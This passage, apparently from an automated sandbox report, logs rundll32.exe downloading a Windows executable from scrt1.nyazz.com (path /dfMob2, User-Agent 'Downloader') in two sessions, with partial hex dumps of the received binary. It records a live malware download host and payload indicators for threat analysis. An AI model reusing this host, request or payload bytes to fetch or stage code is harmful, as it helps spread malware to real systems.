{RHHx?@rH9uN=Q{tHHuIH@HH(Ht=*{tHQOIHAHH]HD$H\$HL$HD$H\$HL$0I;fFUHHL$0HH;HD$ H\$(KtHM!HD$ H\$(
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: e8 02 de 05 00 48 89 d0 b9 88 00 00 00 e8 55 68 06 00 90 48 89 44 24 08 88 5c 24 10 e8 46 45 06 00 48 8b 44 24 08 0f b6 5c 24 10 e9 b7 fd ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 93 01 00 00 55 48 89 e5 48 83 ec 40 48 8d 93 00 20 00 00 0f 1f 80 00 00 00 00 48 39 d3 0f 87 62 01 00 00 48 89 5c 24 58 88 4c 24 60 48 89 d8 48 c1 e8 0d 48 8d 50 01 0f b6 f1 40 88 74 24 1f 48 f7 c3 ff 1f 00 00 48 0f 45 c2 48 89 44 24 28 48 89 c2 48 c1 e2 0d 48 89 54 24 38 48 89 c7 48 89 d0 48 89 fb e8 b1 14 01 00 90 90 48 8d 05 a8 bf 77 00 48 8b 5c 24 28 0f b6 4c 24 1f e8 39 31 01 00 48 85 c0 0f 84 ea 00 00 00 48 89 44 24 20 48 8d 05 04 e8 7b 00 0f 1f 40 00 e8 5b f8 01 00 48 8b 4c 24 38 f0 48 0f c1 48 38 b9 01 00 00 00 f0 48 0f Data Ascii: HUhHD$\$FEHD$\$I;fUHH@H H9bH\$XL$`HHHP@t$HHEHD$(HHHT$8HHHHwH\$(L$91HHD$ H{@[HL$8HH8H
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 20 5d c3 0f 1f 40 00 e8 5b 05 06 00 eb 99 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 c0 00 00 00 55 48 89 e5 48 83 ec 18 48 8d 05 27 8a 45 00 bb 02 00 00 00 66 90 e8 3b e4 fe ff 48 89 44 24 10 48 8d 05 ef e6 47 00 e8 aa 66 ff ff 48 8d 0d 03 01 00 00 48 89 08 83 3d 09 65 7b 00 00 75 07 48 8b 4c 24 10 eb 0d e8 2b 24 06 00 48 8b 4c 24 10 49 89 0b 48 89 48 08 e8 da ef 02 00 48 8d 05 b3 e6 47 00 e8 6e 66 ff ff 48 8d 0d 67 00 00 00 48 89 08 83 3d cd 64 7b 00 00 75 07 48 8b 4c 24 10 eb 0d e8 ef 23 06 00 48 8b 4c 24 10 49 89 0b 48 89 48 08 0f 1f 00 e8 9b ef 02 00 48 8b 44 24 10 31 db e8 cf f3 fe ff 48 8b 44 24 10 31 db e8 c3 f3 fe ff c6 05 34 c6 7b 00 01 48 83 c4 18 5d c3 e8 71 04 06 00 e9 2c ff ff ff cc cc cc cc Data Ascii: ]@[I;fUHHH'Ef;HD$HGfHH=e{uHL$+$HL$IHHHGnfHgH=d{uHL$#HL$IHHHD$1HD$14{H]q,
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 24 10 0f 1f 44 00 00 e8 db 08 02 00 8b 44 24 14 e8 92 0e 02 00 48 8d 05 82 2b 4c 00 bb 04 00 00 00 e8 41 11 02 00 8b 44 24 10 e8 78 0e 02 00 48 8d 05 56 93 4c 00 bb 14 00 00 00 e8 27 11 02 00 e8 02 09 02 00 48 8d 05 ec b0 4c 00 bb 17 00 00 00 e8 b1 5d 05 00 90 e8 0b c5 05 00 e9 46 ff ff ff cc cc cc cc cc cc 49 3b 66 10 0f 86 01 01 00 00 55 48 89 e5 48 83 ec 28 48 8b 4a 08 48 8b 11 0f 1f 80 00 00 00 00 48 39 15 79 a5 76 00 7e 16 80 b8 be 00 00 00 00 74 13 48 8d 42 01 48 89 01 48 83 c4 28 5d c3 48 83 c4 28 5d c3 48 89 44 24 38 90 90 8b 88 98 00 00 00 89 c9 48 89 4c 24 20 48 8b 90 a0 00 00 00 48 89 54 24 18 0f b6 98 be 00 00 00 88 5c 24 17 e8 0b 08 02 00 48 8d 05 7e 28 4c 00 bb 03 00 00 00 e8 7a 10 02 00 48 8b 44 24 38 e8 f0 0f 02 00 48 8d 05 7d 2f 4c 00 bb Data Ascii: $DD$H+LAD$xHVL'HL]FI;fUHH(HJHH9yv~tHBHH(]H(]HD$8HL$ HHT$\$H~(LzHD$8H}/L
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 00 00 0f 1f 44 00 00 e8 5b d1 01 00 48 8b 44 24 28 48 8b 4c 24 48 48 01 c8 48 8b 4c 24 20 48 01 c8 e8 81 ce 01 00 48 8d 05 e5 fc 4b 00 bb 09 00 00 00 e8 30 d1 01 00 e8 0b c9 01 00 90 48 8b 44 24 78 48 8b 48 68 48 89 4c 24 18 48 8b 50 58 48 89 54 24 60 48 8b 40 60 48 89 44 24 58 e8 85 c8 01 00 48 8d 05 fe e8 4b 00 bb 03 00 00 00 e8 f4 d0 01 00 48 8b 44 24 60 e8 2a ce 01 00 48 8d 05 03 f0 4b 00 bb 06 00 00 00 e8 d9 d0 01 00 48 8b 44 24 18 e8 0f ce 01 00 48 8d 05 ab 0f 4c 00 bb 0c 00 00 00 0f 1f 00 e8 bb d0 01 00 48 8b 44 24 18 48 8b 4c 24 58 48 29 c8 e8 c9 ce 01 00 48 8d 05 91 0f 4c 00 bb 0c 00 00 00 e8 98 d0 01 00 f2 0f 10 44 24 38 e8 ed ca 01 00 48 8d 05 7e e7 4b 00 bb 01 00 00 00 90 e8 7b d0 01 00 e8 56 c8 01 00 e8 f1 c7 01 00 e8 2c ca 01 00 e8 47 c8 01 Data Ascii: D[HD$(HL$HHHL$ HHK0HD$xHHhHL$HPXHT$`H@`HD$XHKHD$`*HKHD$HLHD$HL$XH)HLD$8H~K{V,G
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 22 00 00 00 0f 1f 00 e8 fb dd 04 00 90 48 89 44 24 08 e8 50 45 05 00 48 8b 44 24 08 e9 a6 fe ff ff cc cc cc cc cc cc 4c 8d a4 24 68 ff ff ff 4d 3b 66 10 0f 86 3b 0f 00 00 55 48 89 e5 48 81 ec 10 01 00 00 49 8b 56 30 83 ba d8 00 00 00 00 75 15 83 ba c0 00 00 00 00 75 0c 4c 89 f6 48 39 32 0f 85 fc 0e 00 00 48 8b 10 84 db 75 07 48 c7 00 00 00 00 00 8b 35 2d c1 77 00 89 74 24 20 90 40 8a 7a 63 0f 1f 40 00 40 80 ff 01 0f 85 4b 0e 00 00 44 8d 46 ff 44 39 42 58 0f 85 3d 0e 00 00 88 9c 24 28 01 00 00 48 89 54 24 38 44 89 44 24 24 80 3d e0 2c 76 00 00 75 06 31 c0 31 c9 eb 21 e8 23 f7 03 00 48 8b 54 24 38 8b 74 24 20 44 8b 44 24 24 48 89 c1 48 89 d8 0f b6 9c 24 28 01 00 00 48 85 c0 74 72 48 89 8c 24 c8 00 00 00 48 8b 72 20 48 c1 e6 0d 48 89 c3 48 89 c8 48 89 f1 e8 Data Ascii: "HD$PEHD$L$hM;f;UHHIV0uuLH92HuH5-wt$ @zc@@KDFD9BX=$(HT$8DD$$=,vu11!#HT$8t$ DD$$HH$(HtrH$Hr HHHH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	118.107.29.172	443	7112	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:14:45 UTC	96	OUT	GET /dfMob2 HTTP/1.1 User-Agent: Downloader Host: scrt1.nyazz.com Cache-Control: no-cache
2024-12-18 12:14:46 UTC	295	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Dec 2024 12:14:45 GMT Content-Type: application/octet-stream Content-Length: 22996756 Last-Modified: Tue, 17 Dec 2024 17:35:08 GMT Connection: close ETag: "6761b64c-15ee714" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-18 12:14:46 UTC	16089	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 18 00 00 00 00 00 00 56 54 01 c1 3e 00 00 f0 00 26 00 0b 02 02 2a 00 48 40 00 00 22 79 00 00 12 05 00 f7 10 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 5a 01 00 06 00 00 0e 4b 5f 01 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdVT>&*H@"y@@ZK_`
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: ef f2 66 0f 6f e6 66 0f 72 f4 0c 66 0f 72 d6 14 66 0f ef f4 66 0f fe d6 66 44 0f ef f2 66 41 0f 6f e6 66 0f 72 f4 08 66 41 0f 72 d6 18 66 44 0f ef f4 66 45 0f fe d6 66 41 0f ef f2 66 0f 6f e6 66 0f 72 f4 07 66 0f 72 d6 19 66 0f ef f4 66 0f fe df 66 44 0f ef fb 66 41 0f 6f e7 66 0f 72 f4 10 66 41 0f 72 d7 10 66 44 0f ef fc 66 45 0f fe df 66 41 0f ef fb 66 0f 6f e7 66 0f 72 f4 0c 66 0f 72 d7 14 66 0f ef fc 66 0f fe df 66 44 0f ef fb 66 41 0f 6f e7 66 0f 72 f4 08 66 41 0f 72 d7 18 66 44 0f ef fc 66 45 0f fe df 66 41 0f ef fb 66 0f 6f e7 66 0f 72 f4 07 66 0f 72 d7 19 66 0f ef fc 66 0f fe c5 66 44 0f ef f8 66 41 0f 6f e7 66 0f 72 f4 10 66 41 0f 72 d7 10 66 44 0f ef fc 66 45 0f fe d7 66 41 0f ef ea 66 0f 6f e5 66 0f 72 f4 0c 66 0f 72 d5 14 66 0f ef ec 66 0f fe Data Ascii: fofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrff
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 22 78 00 01 b8 01 00 00 00 bb 00 00 02 00 b9 00 40 00 00 e8 2f 44 04 00 83 3d 58 65 7c 00 00 74 13 e8 a1 24 07 00 49 89 03 48 8b 0d 07 22 78 00 49 89 4b 08 48 89 05 fc 21 78 00 48 8b 44 24 50 48 89 44 24 48 66 90 e8 5b 41 07 00 45 0f 57 ff 4c 8b 35 98 62 7c 00 65 4d 8b 36 4d 8b 36 48 8b 05 d2 21 78 00 48 8b 0c 24 31 db 48 8d 7c 24 48 be 01 00 00 00 49 89 f0 45 31 c9 45 31 d2 4d 89 d3 e8 e1 46 04 00 48 8b 44 24 50 e8 d7 04 04 00 eb 2f 80 3d 96 21 78 00 00 74 26 31 c0 e8 c5 04 04 00 c6 05 86 21 78 00 00 48 8d 05 77 21 78 00 e8 d2 01 00 00 48 8b 05 7b 21 78 00 e8 86 4c 04 00 90 90 48 8d 05 5d 21 78 00 e8 38 4f 00 00 48 83 c4 58 5d c3 48 89 44 24 08 e8 88 04 07 00 48 8b 44 24 08 0f 1f 00 e9 7b fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: "x@/D=Xe\|t$IH"xIKH!xHD$PHD$Hf[AEWL5b\|eM6M6H!xH$1H\|$HIE1E1MFHD$P/=!xt&1!xHw!xH{!xLH]!x8OHX]HD$HD${
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 00 e8 01 27 00 00 83 3d 6a 25 7c 00 00 75 1d 48 8b 4c 24 20 48 89 48 10 44 0f 11 78 18 48 89 c3 48 8d 05 80 e2 47 00 e8 fb 59 06 00 e8 76 e4 06 00 48 8b 4c 24 20 49 89 0b eb d4 48 89 44 24 08 e8 22 c5 06 00 48 8b 44 24 08 eb 9b cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 4a 55 48 89 e5 48 83 ec 20 48 89 44 24 30 48 89 5c 24 38 48 8b 10 b9 01 00 00 00 48 89 c6 48 89 d0 48 89 f3 e8 12 07 06 00 48 89 44 24 18 48 89 c3 48 8b 4c 24 38 48 8b 44 24 30 e8 db 40 06 00 48 8b 44 24 18 48 83 c4 20 5d c3 48 89 44 24 08 48 89 5c 24 10 e8 a1 c4 06 00 48 8b 44 24 08 48 8b 5c 24 10 eb 95 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 4a 55 48 89 e5 48 83 ec 20 48 89 44 24 30 48 89 5c 24 38 Data Ascii: '=j%\|uHL$ HHDxHHGYvHL$ IHD$"HD$I;fvJUHH HD$0H\$8HHHHHD$HHL$8HD$0@HD$H ]HD$H\$HD$H\$I;fvJUHH HD$0H\$8
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 19 0f b7 7b 52 48 0f af fe 48 03 78 18 0f b6 3f 83 c7 fe 90 40 80 ff 03 72 d7 48 39 f1 75 4e 83 3d 51 e5 7b 00 00 90 74 0c 48 8b 48 18 e8 75 a4 06 00 49 89 0b 48 c7 40 18 00 00 00 00 48 8b 48 28 48 85 c9 74 1d 83 3d 2a e5 7b 00 00 74 0c 48 8b 51 08 e8 4f a4 06 00 49 89 13 48 c7 41 08 00 00 00 00 0f b6 48 08 83 e1 f7 88 48 08 5d c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 e4 84 06 00 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 30 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 46 01 00 00 55 48 89 e5 48 83 ec 10 89 4c 24 30 48 85 db 0f 84 c3 00 00 00 48 83 3b 00 0f 84 b9 00 00 00 48 89 44 24 20 48 89 5c 24 28 0f b6 4b 08 f6 c1 04 74 1b 48 8d 05 ce d6 4d 00 bb 21 00 00 00 e8 13 a2 02 00 48 8b 44 24 20 48 8b 5c 24 28 80 Data Ascii: {RHHx?@rH9uN=Q{tHHuIH@HH(Ht=*{tHQOIHAHH]HD$H\$HL$HD$H\$HL$0I;fFUHHL$0HH;HD$ H\$(KtHM!HD$ H\$(
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: e8 02 de 05 00 48 89 d0 b9 88 00 00 00 e8 55 68 06 00 90 48 89 44 24 08 88 5c 24 10 e8 46 45 06 00 48 8b 44 24 08 0f b6 5c 24 10 e9 b7 fd ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 93 01 00 00 55 48 89 e5 48 83 ec 40 48 8d 93 00 20 00 00 0f 1f 80 00 00 00 00 48 39 d3 0f 87 62 01 00 00 48 89 5c 24 58 88 4c 24 60 48 89 d8 48 c1 e8 0d 48 8d 50 01 0f b6 f1 40 88 74 24 1f 48 f7 c3 ff 1f 00 00 48 0f 45 c2 48 89 44 24 28 48 89 c2 48 c1 e2 0d 48 89 54 24 38 48 89 c7 48 89 d0 48 89 fb e8 b1 14 01 00 90 90 48 8d 05 a8 bf 77 00 48 8b 5c 24 28 0f b6 4c 24 1f e8 39 31 01 00 48 85 c0 0f 84 ea 00 00 00 48 89 44 24 20 48 8d 05 04 e8 7b 00 0f 1f 40 00 e8 5b f8 01 00 48 8b 4c 24 38 f0 48 0f c1 48 38 b9 01 00 00 00 f0 48 0f Data Ascii: HUhHD$\$FEHD$\$I;fUHH@H H9bH\$XL$`HHHP@t$HHEHD$(HHHT$8HHHHwH\$(L$91HHD$ H{@[HL$8HH8H
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 20 5d c3 0f 1f 40 00 e8 5b 05 06 00 eb 99 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 c0 00 00 00 55 48 89 e5 48 83 ec 18 48 8d 05 27 8a 45 00 bb 02 00 00 00 66 90 e8 3b e4 fe ff 48 89 44 24 10 48 8d 05 ef e6 47 00 e8 aa 66 ff ff 48 8d 0d 03 01 00 00 48 89 08 83 3d 09 65 7b 00 00 75 07 48 8b 4c 24 10 eb 0d e8 2b 24 06 00 48 8b 4c 24 10 49 89 0b 48 89 48 08 e8 da ef 02 00 48 8d 05 b3 e6 47 00 e8 6e 66 ff ff 48 8d 0d 67 00 00 00 48 89 08 83 3d cd 64 7b 00 00 75 07 48 8b 4c 24 10 eb 0d e8 ef 23 06 00 48 8b 4c 24 10 49 89 0b 48 89 48 08 0f 1f 00 e8 9b ef 02 00 48 8b 44 24 10 31 db e8 cf f3 fe ff 48 8b 44 24 10 31 db e8 c3 f3 fe ff c6 05 34 c6 7b 00 01 48 83 c4 18 5d c3 e8 71 04 06 00 e9 2c ff ff ff cc cc cc cc Data Ascii: ]@[I;fUHHH'Ef;HD$HGfHH=e{uHL$+$HL$IHHHGnfHgH=d{uHL$#HL$IHHHD$1HD$14{H]q,
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 24 10 0f 1f 44 00 00 e8 db 08 02 00 8b 44 24 14 e8 92 0e 02 00 48 8d 05 82 2b 4c 00 bb 04 00 00 00 e8 41 11 02 00 8b 44 24 10 e8 78 0e 02 00 48 8d 05 56 93 4c 00 bb 14 00 00 00 e8 27 11 02 00 e8 02 09 02 00 48 8d 05 ec b0 4c 00 bb 17 00 00 00 e8 b1 5d 05 00 90 e8 0b c5 05 00 e9 46 ff ff ff cc cc cc cc cc cc 49 3b 66 10 0f 86 01 01 00 00 55 48 89 e5 48 83 ec 28 48 8b 4a 08 48 8b 11 0f 1f 80 00 00 00 00 48 39 15 79 a5 76 00 7e 16 80 b8 be 00 00 00 00 74 13 48 8d 42 01 48 89 01 48 83 c4 28 5d c3 48 83 c4 28 5d c3 48 89 44 24 38 90 90 8b 88 98 00 00 00 89 c9 48 89 4c 24 20 48 8b 90 a0 00 00 00 48 89 54 24 18 0f b6 98 be 00 00 00 88 5c 24 17 e8 0b 08 02 00 48 8d 05 7e 28 4c 00 bb 03 00 00 00 e8 7a 10 02 00 48 8b 44 24 38 e8 f0 0f 02 00 48 8d 05 7d 2f 4c 00 bb Data Ascii: $DD$H+LAD$xHVL'HL]FI;fUHH(HJHH9yv~tHBHH(]H(]HD$8HL$ HHT$\$H~(LzHD$8H}/L
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 00 00 0f 1f 44 00 00 e8 5b d1 01 00 48 8b 44 24 28 48 8b 4c 24 48 48 01 c8 48 8b 4c 24 20 48 01 c8 e8 81 ce 01 00 48 8d 05 e5 fc 4b 00 bb 09 00 00 00 e8 30 d1 01 00 e8 0b c9 01 00 90 48 8b 44 24 78 48 8b 48 68 48 89 4c 24 18 48 8b 50 58 48 89 54 24 60 48 8b 40 60 48 89 44 24 58 e8 85 c8 01 00 48 8d 05 fe e8 4b 00 bb 03 00 00 00 e8 f4 d0 01 00 48 8b 44 24 60 e8 2a ce 01 00 48 8d 05 03 f0 4b 00 bb 06 00 00 00 e8 d9 d0 01 00 48 8b 44 24 18 e8 0f ce 01 00 48 8d 05 ab 0f 4c 00 bb 0c 00 00 00 0f 1f 00 e8 bb d0 01 00 48 8b 44 24 18 48 8b 4c 24 58 48 29 c8 e8 c9 ce 01 00 48 8d 05 91 0f 4c 00 bb 0c 00 00 00 e8 98 d0 01 00 f2 0f 10 44 24 38 e8 ed ca 01 00 48 8d 05 7e e7 4b 00 bb 01 00 00 00 90 e8 7b d0 01 00 e8 56 c8 01 00 e8 f1 c7 01 00 e8 2c ca 01 00 e8 47 c8 01 Data Ascii: D[HD$(HL$HHHL$ HHK0HD$xHHhHL$HPXHT$`H@`HD$XHKHD$`*HKHD$HLHD$HL$XH)HLD$8H~K{V,G
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 22 00 00 00 0f 1f 00 e8 fb dd 04 00 90 48 89 44 24 08 e8 50 45 05 00 48 8b 44 24 08 e9 a6 fe ff ff cc cc cc cc cc cc 4c 8d a4 24 68 ff ff ff 4d 3b 66 10 0f 86 3b 0f 00 00 55 48 89 e5 48 81 ec 10 01 00 00 49 8b 56 30 83 ba d8 00 00 00 00 75 15 83 ba c0 00 00 00 00 75 0c 4c 89 f6 48 39 32 0f 85 fc 0e 00 00 48 8b 10 84 db 75 07 48 c7 00 00 00 00 00 8b 35 2d c1 77 00 89 74 24 20 90 40 8a 7a 63 0f 1f 40 00 40 80 ff 01 0f 85 4b 0e 00 00 44 8d 46 ff 44 39 42 58 0f 85 3d 0e 00 00 88 9c 24 28 01 00 00 48 89 54 24 38 44 89 44 24 24 80 3d e0 2c 76 00 00 75 06 31 c0 31 c9 eb 21 e8 23 f7 03 00 48 8b 54 24 38 8b 74 24 20 44 8b 44 24 24 48 89 c1 48 89 d8 0f b6 9c 24 28 01 00 00 48 85 c0 74 72 48 89 8c 24 c8 00 00 00 48 8b 72 20 48 c1 e6 0d 48 89 c3 48 89 c8 48 89 f1 e8 Data Ascii: "HD$PEHD$L$hM;f;UHHIV0uuLH92HuH5-wt$ @zc@@KDFD9BX=$(HT$8DD$$=,vu11!#HT$8t$ DD$$HH$(HtrH$Hr HHHH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	118.107.29.172	443	2312	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:14:47 UTC	96	OUT	GET /dfMob2 HTTP/1.1 User-Agent: Downloader Host: scrt1.nyazz.com Cache-Control: no-cache
2024-12-18 12:14:48 UTC	295	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Dec 2024 12:14:48 GMT Content-Type: application/octet-stream Content-Length: 22996756 Last-Modified: Tue, 17 Dec 2024 17:35:08 GMT Connection: close ETag: "6761b64c-15ee714" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-18 12:14:48 UTC	16089	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 18 00 00 00 00 00 00 56 54 01 c1 3e 00 00 f0 00 26 00 0b 02 02 2a 00 48 40 00 00 22 79 00 00 12 05 00 f7 10 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 5a 01 00 06 00 00 0e 4b 5f 01 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdVT>&*H@"y@@ZK_`
2024-12-18 12:14:48 UTC	16384	IN	Data Raw: ef f2 66 0f 6f e6 66 0f 72 f4 0c 66 0f 72 d6 14 66 0f ef f4 66 0f fe d6 66 44 0f ef f2 66 41 0f 6f e6 66 0f 72 f4 08 66 41 0f 72 d6 18 66 44 0f ef f4 66 45 0f fe d6 66 41 0f ef f2 66 0f 6f e6 66 0f 72 f4 07 66 0f 72 d6 19 66 0f ef f4 66 0f fe df 66 44 0f ef fb 66 41 0f 6f e7 66 0f 72 f4 10 66 41 0f 72 d7 10 66 44 0f ef fc 66 45 0f fe df 66 41 0f ef fb 66 0f 6f e7 66 0f 72 f4 0c 66 0f 72 d7 14 66 0f ef fc 66 0f fe df 66 44 0f ef fb 66 41 0f 6f e7 66 0f 72 f4 08 66 41 0f 72 d7 18 66 44 0f ef fc 66 45 0f fe df 66 41 0f ef fb 66 0f 6f e7 66 0f 72 f4 07 66 0f 72 d7 19 66 0f ef fc 66 0f fe c5 66 44 0f ef f8 66 41 0f 6f e7 66 0f 72 f4 10 66 41 0f 72 d7 10 66 44 0f ef fc 66 45 0f fe d7 66 41 0f ef ea 66 0f 6f e5 66 0f 72 f4 0c 66 0f 72 d5 14 66 0f ef ec 66 0f fe Data Ascii: fofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrff
2024-12-18 12:14:48 UTC	16384	IN	Data Raw: 22 78 00 01 b8 01 00 00 00 bb 00 00 02 00 b9 00 40 00 00 e8 2f 44 04 00 83 3d 58 65 7c 00 00 74 13 e8 a1 24 07 00 49 89 03 48 8b 0d 07 22 78 00 49 89 4b 08 48 89 05 fc 21 78 00 48 8b 44 24 50 48 89 44 24 48 66 90 e8 5b 41 07 00 45 0f 57 ff 4c 8b 35 98 62 7c 00 65 4d 8b 36 4d 8b 36 48 8b 05 d2 21 78 00 48 8b 0c 24 31 db 48 8d 7c 24 48 be 01 00 00 00 49 89 f0 45 31 c9 45 31 d2 4d 89 d3 e8 e1 46 04 00 48 8b 44 24 50 e8 d7 04 04 00 eb 2f 80 3d 96 21 78 00 00 74 26 31 c0 e8 c5 04 04 00 c6 05 86 21 78 00 00 48 8d 05 77 21 78 00 e8 d2 01 00 00 48 8b 05 7b 21 78 00 e8 86 4c 04 00 90 90 48 8d 05 5d 21 78 00 e8 38 4f 00 00 48 83 c4 58 5d c3 48 89 44 24 08 e8 88 04 07 00 48 8b 44 24 08 0f 1f 00 e9 7b fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: "x@/D=Xe\|t$IH"xIKH!xHD$PHD$Hf[AEWL5b\|eM6M6H!xH$1H\|$HIE1E1MFHD$P/=!xt&1!xHw!xH{!xLH]!x8OHX]HD$HD${
2024-12-18 12:14:48 UTC	16384	IN	Data Raw: 00 e8 01 27 00 00 83 3d 6a 25 7c 00 00 75 1d 48 8b 4c 24 20 48 89 48 10 44 0f 11 78 18 48 89 c3 48 8d 05 80 e2 47 00 e8 fb 59 06 00 e8 76 e4 06 00 48 8b 4c 24 20 49 89 0b eb d4 48 89 44 24 08 e8 22 c5 06 00 48 8b 44 24 08 eb 9b cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 4a 55 48 89 e5 48 83 ec 20 48 89 44 24 30 48 89 5c 24 38 48 8b 10 b9 01 00 00 00 48 89 c6 48 89 d0 48 89 f3 e8 12 07 06 00 48 89 44 24 18 48 89 c3 48 8b 4c 24 38 48 8b 44 24 30 e8 db 40 06 00 48 8b 44 24 18 48 83 c4 20 5d c3 48 89 44 24 08 48 89 5c 24 10 e8 a1 c4 06 00 48 8b 44 24 08 48 8b 5c 24 10 eb 95 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 4a 55 48 89 e5 48 83 ec 20 48 89 44 24 30 48 89 5c 24 38 Data Ascii: '=j%\|uHL$ HHDxHHGYvHL$ IHD$"HD$I;fvJUHH HD$0H\$8HHHHHD$HHL$8HD$0@HD$H ]HD$H\$HD$H\$I;fvJUHH HD$0H\$8
2024-12-18 12:14:48 UTC	16384	IN	Data Raw: 19 0f b7 7b 52 48 0f af fe 48 03 78 18 0f b6 3f 83 c7 fe 90 40 80 ff 03 72 d7 48 39 f1 75 4e 83 3d 51 e5 7b 00 00 90 74 0c 48 8b 48 18 e8 75 a4 06 00 49 89 0b 48 c7 40 18 00 00 00 00 48 8b 48 28 48 85 c9 74 1d 83 3d 2a e5 7b 00 00 74 0c 48 8b 51 08 e8 4f a4 06 00 49 89 13 48 c7 41 08 00 00 00 00 0f b6 48 08 83 e1 f7 88 48 08 5d c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 e4 84 06 00 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 30 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 46 01 00 00 55 48 89 e5 48 83 ec 10 89 4c 24 30 48 85 db 0f 84 c3 00 00 00 48 83 3b 00 0f 84 b9 00 00 00 48 89 44 24 20 48 89 5c 24 28 0f b6 4b 08 f6 c1 04 74 1b 48 8d 05 ce d6 4d 00 bb 21 00 00 00 e8 13 a2 02 00 48 8b 44 24 20 48 8b 5c 24 28 80 Data Ascii: {RHHx?@rH9uN=Q{tHHuIH@HH(Ht=*{tHQOIHAHH]HD$H\$HL$HD$H\$HL$0I;fFUHHL$0HH;HD$ H\$(KtHM!HD$ H\$(
